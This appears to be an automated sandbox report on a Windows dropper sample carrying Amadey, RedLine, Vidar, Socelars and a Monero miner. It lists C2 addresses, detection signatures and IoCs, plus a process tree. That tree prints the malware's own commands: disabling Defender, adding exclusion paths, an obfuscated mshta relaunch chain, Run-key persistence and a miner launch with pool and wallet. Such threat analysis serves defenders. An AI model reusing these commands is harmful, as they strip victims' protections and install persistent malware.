amadey | 74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179

Analysis

max time kernel
27s
max time network
156s
platform
windows10_x64
resource
win10-en-20211208
submitted
10/12/2021, 00:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179.exe
Size 17.9MB
Sample211210-abmxrsgahn
SHA256 74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179
MD5 0baf86bc85c38681c2b88deb869cdd74
SHA1 1085d5be3068954b550f300f7f16e94a67dccfc3
SHA512 ba894edbd57a899f8c5e45c9428f6172ce0407e51471ae6db3419f54501d7d0f4ce47b15d5db234ca2ca8161c9191437bb041c560f647dffbca3071d5fd63ef8
MD5 SHA1 SHA512

Score

10^/10

amadey loaderbot redline socelars vidar 03.12_build_3 aspackv2 evasion infostealer loader miner persistence stealer suricata trojan

Malware Config

Extracted

Family

redline

Botnet

03.12_BUILD_3

45.9.20.221:15590

Extracted

Family

amadey

Version

2.85

185.215.113.35/d2VxjasuwS/index.php

Extracted

Family

socelars

http://www.wgqpw.com/

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
loader miner loaderbot

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6040	4192	rundll32.exe	176

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral2/memory/1984-240-0x0000000000750000-0x000000000077E000-memory.dmp	family_redline
behavioral2/memory/1984-258-0x00000000024C0000-0x00000000024EC000-memory.dmp	family_redline
behavioral2/memory/4304-361-0x0000000000418FDE-mapping.dmp	family_redline
behavioral2/memory/4404-367-0x0000000000418EFA-mapping.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000001ab34-253.dat	family_socelars
behavioral2/files/0x000500000001ab34-224.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
suricata
suricata: ET MALWARE CerberTear Ransomware CnC Checkin
suricata: ET MALWARE CerberTear Ransomware CnC Checkin
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/files/0x000500000001ab33-235.dat	WebBrowserPassView
behavioral2/files/0x000500000001ab33-214.dat	WebBrowserPassView

Nirsoft 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000001ab33-235.dat	Nirsoft
behavioral2/files/0x000500000001ab33-214.dat	Nirsoft

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000600000001ab23-129.dat	aspack_v212_v242
behavioral2/files/0x000600000001ab23-128.dat	aspack_v212_v242
behavioral2/files/0x000600000001ab1f-125.dat	aspack_v212_v242
behavioral2/files/0x000600000001ab1f-124.dat	aspack_v212_v242
behavioral2/files/0x000600000001ab20-123.dat	aspack_v212_v242
behavioral2/files/0x000600000001ab20-122.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 41 IoCs

pid	Process
1788	setup_installer.exe
924	setup_install.exe
676	Tue120e0472d3f6a426f.exe
1324	Tue12c4572d62260.exe
1084	Tue122fb46061d0.exe
412	Tue1240771c417e2099c.exe
1316	Tue120fdd2f651bc16d.exe
3008	Tue1258dc2302e.exe
1648	Tue1236cffc1548.exe
4088	Tue1288be7dc9.exe
2504	621276.exe
4028	Tue12cb9b294f8.exe
1984	Tue12c4572d62260.exe
2304	Tue1258dc2302e.exe
444	Tue127b676b8bfa21a.exe
3984	Tue126133918d2ff478c.exe
1236	Tue12128b7887.exe
3824	Tue126ca26de99.exe
3684	Tue127732f60465ed.exe
744	Tue1280bad731c48e8.exe
1072	Tue121203abedb9227d.exe
2040	Tue12fa8d5e6db2.exe
3728	Tue12c14883e83c8847a.exe
2908	Tue1223308b45.exe
956	Tue12a31584cfbfc1.exe
4168	Tue1280bad731c48e8.tmp
4208	Tue12cc5113c749c81.exe
4200	mshta.exe
4224	RaptorMiner.exe
4240	Tue1218094d9d9ff55e.exe
4320	9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe
4636	Tue12a31584cfbfc1.tmp
4156	Tue1240771c417e2099c.exe
4192	wmiprvse.exe
4304	Tue1288be7dc9.exe
4404	Tue12cb9b294f8.exe
5052	Tue12a31584cfbfc1.exe
3208	Tue12cc5113c749c81.exe
4624	Tue121203abedb9227d.exe
2232	Tue12a31584cfbfc1.tmp
4716	Tue1240771c417e2099c.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Tue1218094d9d9ff55e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Tue1218094d9d9ff55e.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	RaptorMiner.exe

Loads dropped DLL 7 IoCs

pid	Process
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe
924	setup_install.exe
4168	Tue1280bad731c48e8.tmp
4636	Tue12a31584cfbfc1.tmp

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\RaptorMiner.exe"	RaptorMiner.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Tue1218094d9d9ff55e.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
46	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
676	Tue120e0472d3f6a426f.exe
676	Tue120e0472d3f6a426f.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3008 set thread context of 2304	3008	Tue1258dc2302e.exe	90
PID 1324 set thread context of 1984	1324	Tue12c4572d62260.exe	189
PID 1316 set thread context of 4192	1316	Tue120fdd2f651bc16d.exe	176
PID 4088 set thread context of 4304	4088	Tue1288be7dc9.exe	124
PID 4028 set thread context of 4404	4028	Tue12cb9b294f8.exe	122
PID 412 set thread context of 4716	412	Tue1240771c417e2099c.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
2332	2304	WerFault.exe	90
5736	4552	WerFault.exe	180
612	1236	WerFault.exe	159
5080	4060	WerFault.exe	218
5348	5964	WerFault.exe	245
2504	5956	WerFault.exe	243

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4216	schtasks.exe
1852	schtasks.exe
4772	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1344	timeout.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	293	Go-http-client/1.1

Kills process with taskkill 4 IoCs

evasion

pid	Process
3012	taskkill.exe
5216	taskkill.exe
3776	taskkill.exe
1976	taskkill.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1388	powershell.exe
1388	powershell.exe
1080	powershell.exe
1080	powershell.exe
1080	powershell.exe
1080	powershell.exe
1388	powershell.exe
1388	powershell.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	1316	Tue120fdd2f651bc16d.exe
Token: SeDebugPrivilege	4028	Tue12cb9b294f8.exe
Token: SeDebugPrivilege	4088	Tue1288be7dc9.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeCreateTokenPrivilege	3824	Tue126ca26de99.exe
Token: SeAssignPrimaryTokenPrivilege	3824	Tue126ca26de99.exe
Token: SeLockMemoryPrivilege	3824	Tue126ca26de99.exe
Token: SeIncreaseQuotaPrivilege	3824	Tue126ca26de99.exe
Token: SeMachineAccountPrivilege	3824	Tue126ca26de99.exe
Token: SeTcbPrivilege	3824	Tue126ca26de99.exe
Token: SeSecurityPrivilege	3824	Tue126ca26de99.exe
Token: SeTakeOwnershipPrivilege	3824	Tue126ca26de99.exe
Token: SeLoadDriverPrivilege	3824	Tue126ca26de99.exe
Token: SeSystemProfilePrivilege	3824	Tue126ca26de99.exe
Token: SeSystemtimePrivilege	3824	Tue126ca26de99.exe
Token: SeProfSingleProcessPrivilege	3824	Tue126ca26de99.exe
Token: SeIncBasePriorityPrivilege	3824	Tue126ca26de99.exe
Token: SeCreatePagefilePrivilege	3824	Tue126ca26de99.exe
Token: SeCreatePermanentPrivilege	3824	Tue126ca26de99.exe
Token: SeBackupPrivilege	3824	Tue126ca26de99.exe
Token: SeRestorePrivilege	3824	Tue126ca26de99.exe
Token: SeShutdownPrivilege	3824	Tue126ca26de99.exe
Token: SeDebugPrivilege	3824	Tue126ca26de99.exe
Token: SeAuditPrivilege	3824	Tue126ca26de99.exe
Token: SeSystemEnvironmentPrivilege	3824	Tue126ca26de99.exe
Token: SeChangeNotifyPrivilege	3824	Tue126ca26de99.exe
Token: SeRemoteShutdownPrivilege	3824	Tue126ca26de99.exe
Token: SeUndockPrivilege	3824	Tue126ca26de99.exe
Token: SeSyncAgentPrivilege	3824	Tue126ca26de99.exe
Token: SeEnableDelegationPrivilege	3824	Tue126ca26de99.exe
Token: SeManageVolumePrivilege	3824	Tue126ca26de99.exe
Token: SeImpersonatePrivilege	3824	Tue126ca26de99.exe
Token: SeCreateGlobalPrivilege	3824	Tue126ca26de99.exe
Token: 31	3824	Tue126ca26de99.exe
Token: 32	3824	Tue126ca26de99.exe
Token: 33	3824	Tue126ca26de99.exe
Token: 34	3824	Tue126ca26de99.exe
Token: 35	3824	Tue126ca26de99.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	1984	Tue12c4572d62260.exe
Token: SeDebugPrivilege	1072	Tue121203abedb9227d.exe
Token: SeDebugPrivilege	2040	Tue12fa8d5e6db2.exe
Token: SeDebugPrivilege	4224	RaptorMiner.exe
Token: SeDebugPrivilege	4200	mshta.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
676	Tue120e0472d3f6a426f.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2828 wrote to memory of 1788	2828	74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179.exe	68
PID 2828 wrote to memory of 1788	2828	74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179.exe	68
PID 2828 wrote to memory of 1788	2828	74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179.exe	68
PID 1788 wrote to memory of 924	1788	setup_installer.exe	69
PID 1788 wrote to memory of 924	1788	setup_installer.exe	69
PID 1788 wrote to memory of 924	1788	setup_installer.exe	69
PID 924 wrote to memory of 1016	924	setup_install.exe	72
PID 924 wrote to memory of 1016	924	setup_install.exe	72
PID 924 wrote to memory of 1016	924	setup_install.exe	72
PID 924 wrote to memory of 2920	924	setup_install.exe	73
PID 924 wrote to memory of 2920	924	setup_install.exe	73
PID 924 wrote to memory of 2920	924	setup_install.exe	73
PID 924 wrote to memory of 1612	924	setup_install.exe	74
PID 924 wrote to memory of 1612	924	setup_install.exe	74
PID 924 wrote to memory of 1612	924	setup_install.exe	74
PID 924 wrote to memory of 1952	924	setup_install.exe	87
PID 924 wrote to memory of 1952	924	setup_install.exe	87
PID 924 wrote to memory of 1952	924	setup_install.exe	87
PID 1016 wrote to memory of 1388	1016	cmd.exe	88
PID 1016 wrote to memory of 1388	1016	cmd.exe	88
PID 1016 wrote to memory of 1388	1016	cmd.exe	88
PID 2920 wrote to memory of 1080	2920	cmd.exe	86
PID 2920 wrote to memory of 1080	2920	cmd.exe	86
PID 2920 wrote to memory of 1080	2920	cmd.exe	86
PID 924 wrote to memory of 1268	924	setup_install.exe	75
PID 924 wrote to memory of 1268	924	setup_install.exe	75
PID 924 wrote to memory of 1268	924	setup_install.exe	75
PID 924 wrote to memory of 612	924	setup_install.exe	76
PID 924 wrote to memory of 612	924	setup_install.exe	76
PID 924 wrote to memory of 612	924	setup_install.exe	76
PID 924 wrote to memory of 396	924	setup_install.exe	79
PID 924 wrote to memory of 396	924	setup_install.exe	79
PID 924 wrote to memory of 396	924	setup_install.exe	79
PID 612 wrote to memory of 676	612	cmd.exe	77
PID 612 wrote to memory of 676	612	cmd.exe	77
PID 612 wrote to memory of 676	612	cmd.exe	77
PID 924 wrote to memory of 2884	924	setup_install.exe	78
PID 924 wrote to memory of 2884	924	setup_install.exe	78
PID 924 wrote to memory of 2884	924	setup_install.exe	78
PID 924 wrote to memory of 872	924	setup_install.exe	80
PID 924 wrote to memory of 872	924	setup_install.exe	80
PID 924 wrote to memory of 872	924	setup_install.exe	80
PID 924 wrote to memory of 836	924	setup_install.exe	85
PID 924 wrote to memory of 836	924	setup_install.exe	85
PID 924 wrote to memory of 836	924	setup_install.exe	85
PID 2884 wrote to memory of 1324	2884	cmd.exe	81
PID 2884 wrote to memory of 1324	2884	cmd.exe	81
PID 2884 wrote to memory of 1324	2884	cmd.exe	81
PID 1268 wrote to memory of 412	1268	cmd.exe	84
PID 1268 wrote to memory of 412	1268	cmd.exe	84
PID 1268 wrote to memory of 412	1268	cmd.exe	84
PID 1612 wrote to memory of 1084	1612	cmd.exe	83
PID 1612 wrote to memory of 1084	1612	cmd.exe	83
PID 1612 wrote to memory of 1084	1612	cmd.exe	83
PID 924 wrote to memory of 2524	924	setup_install.exe	82
PID 924 wrote to memory of 2524	924	setup_install.exe	82
PID 924 wrote to memory of 2524	924	setup_install.exe	82
PID 924 wrote to memory of 2972	924	setup_install.exe	197
PID 924 wrote to memory of 2972	924	setup_install.exe	197
PID 924 wrote to memory of 2972	924	setup_install.exe	197
PID 2524 wrote to memory of 1316	2524	cmd.exe	196
PID 2524 wrote to memory of 1316	2524	cmd.exe	196
PID 2524 wrote to memory of 1316	2524	cmd.exe	196
PID 1952 wrote to memory of 3008	1952	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179.exe
"C:\Users\Admin\AppData\Local\Temp\74bb6b2e6e0fb719237cb58c1ed17a91032ff3c8a3c11da92011b8e0ba5a1179.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2828
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:924
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1016
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1388
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2920
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1080
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue122fb46061d0.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1612
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue122fb46061d0.exe
        
        Tue122fb46061d0.exe
        5⤵
        Executes dropped EXE
        
        PID:1084
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue122fb46061d0.exe"
        6⤵
        
        PID:3260
      - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue122fb46061d0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue122fb46061d0.exe"
        6⤵
        
        PID:2836
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1240771c417e2099c.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1268
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1240771c417e2099c.exe
        
        Tue1240771c417e2099c.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:412
      - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1240771c417e2099c.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1240771c417e2099c.exe
        6⤵
        Executes dropped EXE
        
        PID:4716
      - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1240771c417e2099c.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1240771c417e2099c.exe
        6⤵
        Executes dropped EXE
        
        PID:4156
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue120e0472d3f6a426f.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:612
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue120e0472d3f6a426f.exe
        
        Tue120e0472d3f6a426f.exe
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetWindowsHookEx
        
        PID:676
      - C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe
        
        "C:\Users\Admin\AppData\Local\Temp\9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe"
        6⤵
        Executes dropped EXE
        
        PID:4320
      - C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RaptorMiner.exe"
        6⤵
        Executes dropped EXE
        Drops startup file
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        
        PID:4224
        
        C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
        
        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 1
        7⤵
        
        PID:5280
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue12c4572d62260.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12c4572d62260.exe
        
        Tue12c4572d62260.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1324
      - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12c4572d62260.exe
        
        Tue12c4572d62260.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1236cffc1548.exe
      4⤵
      PID:396
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1236cffc1548.exe
        
        Tue1236cffc1548.exe
        5⤵
        Executes dropped EXE
        
        PID:1648
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Tue1236cffc1548.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1236cffc1548.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:5780
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Tue1236cffc1548.exe /f
        7⤵
        Kills process with taskkill
        
        PID:1976
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:1344
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1200def74a2ff885.exe
      4⤵
      PID:872
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1200def74a2ff885.exe
        
        Tue1200def74a2ff885.exe
        5⤵
        
        PID:2504
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue120fdd2f651bc16d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2524
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue120fdd2f651bc16d.exe
        
        Tue120fdd2f651bc16d.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:1316
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue12cb9b294f8.exe
      4⤵
      PID:836
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12cb9b294f8.exe
        
        Tue12cb9b294f8.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4028
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1258dc2302e.exe /mixtwo
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1952
    - - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1258dc2302e.exe
        
        Tue1258dc2302e.exe /mixtwo
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3008
      - C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue1258dc2302e.exe
        
        Tue1258dc2302e.exe /mixtwo
        6⤵
        Executes dropped EXE
        
        PID:2304
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2304 -s 508
        7⤵
        Program crash
        
        PID:2332
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue12a31584cfbfc1.exe
      4⤵
      PID:2584
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1223308b45.exe
      4⤵
      PID:3152
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue12c14883e83c8847a.exe
      4⤵
      PID:1296
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue12fa8d5e6db2.exe
      4⤵
      PID:1404
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1218094d9d9ff55e.exe
      4⤵
      PID:2340
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1280bad731c48e8.exe
      4⤵
      PID:3848
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue12cc5113c749c81.exe
      4⤵
      PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue12e263ffd78424c.exe
      4⤵
      PID:3260
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue126ca26de99.exe
      4⤵
      PID:1068
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue126133918d2ff478c.exe
      4⤵
      PID:380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue127b676b8bfa21a.exe
      4⤵
      PID:3712
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue12128b7887.exe
      4⤵
      PID:2456
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue121203abedb9227d.exe
      4⤵
      PID:4020
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue127732f60465ed.exe
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue1288be7dc9.exe
      4⤵
      PID:2972
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\6829558ede\
        5⤵
        
        PID:5936

C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12c14883e83c8847a.exe
Tue12c14883e83c8847a.exe
1⤵
- Executes dropped EXE
PID:3728
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12c14883e83c8847a.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12c14883e83c8847a.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
  2⤵
  PID:4744
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12c14883e83c8847a.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zSCF61C2F5\Tue12c14883e83c8847a.exe" ) do taskkill -f /Im "%~NXg"
    3⤵
    PID:4344
  - - C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe
      Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E
      4⤵
      PID:4416
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        5⤵
        
        PID:3140
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"
        6⤵
        
        PID:4384
    - - C:\Windows\SysWOW64\mshta.exe
        
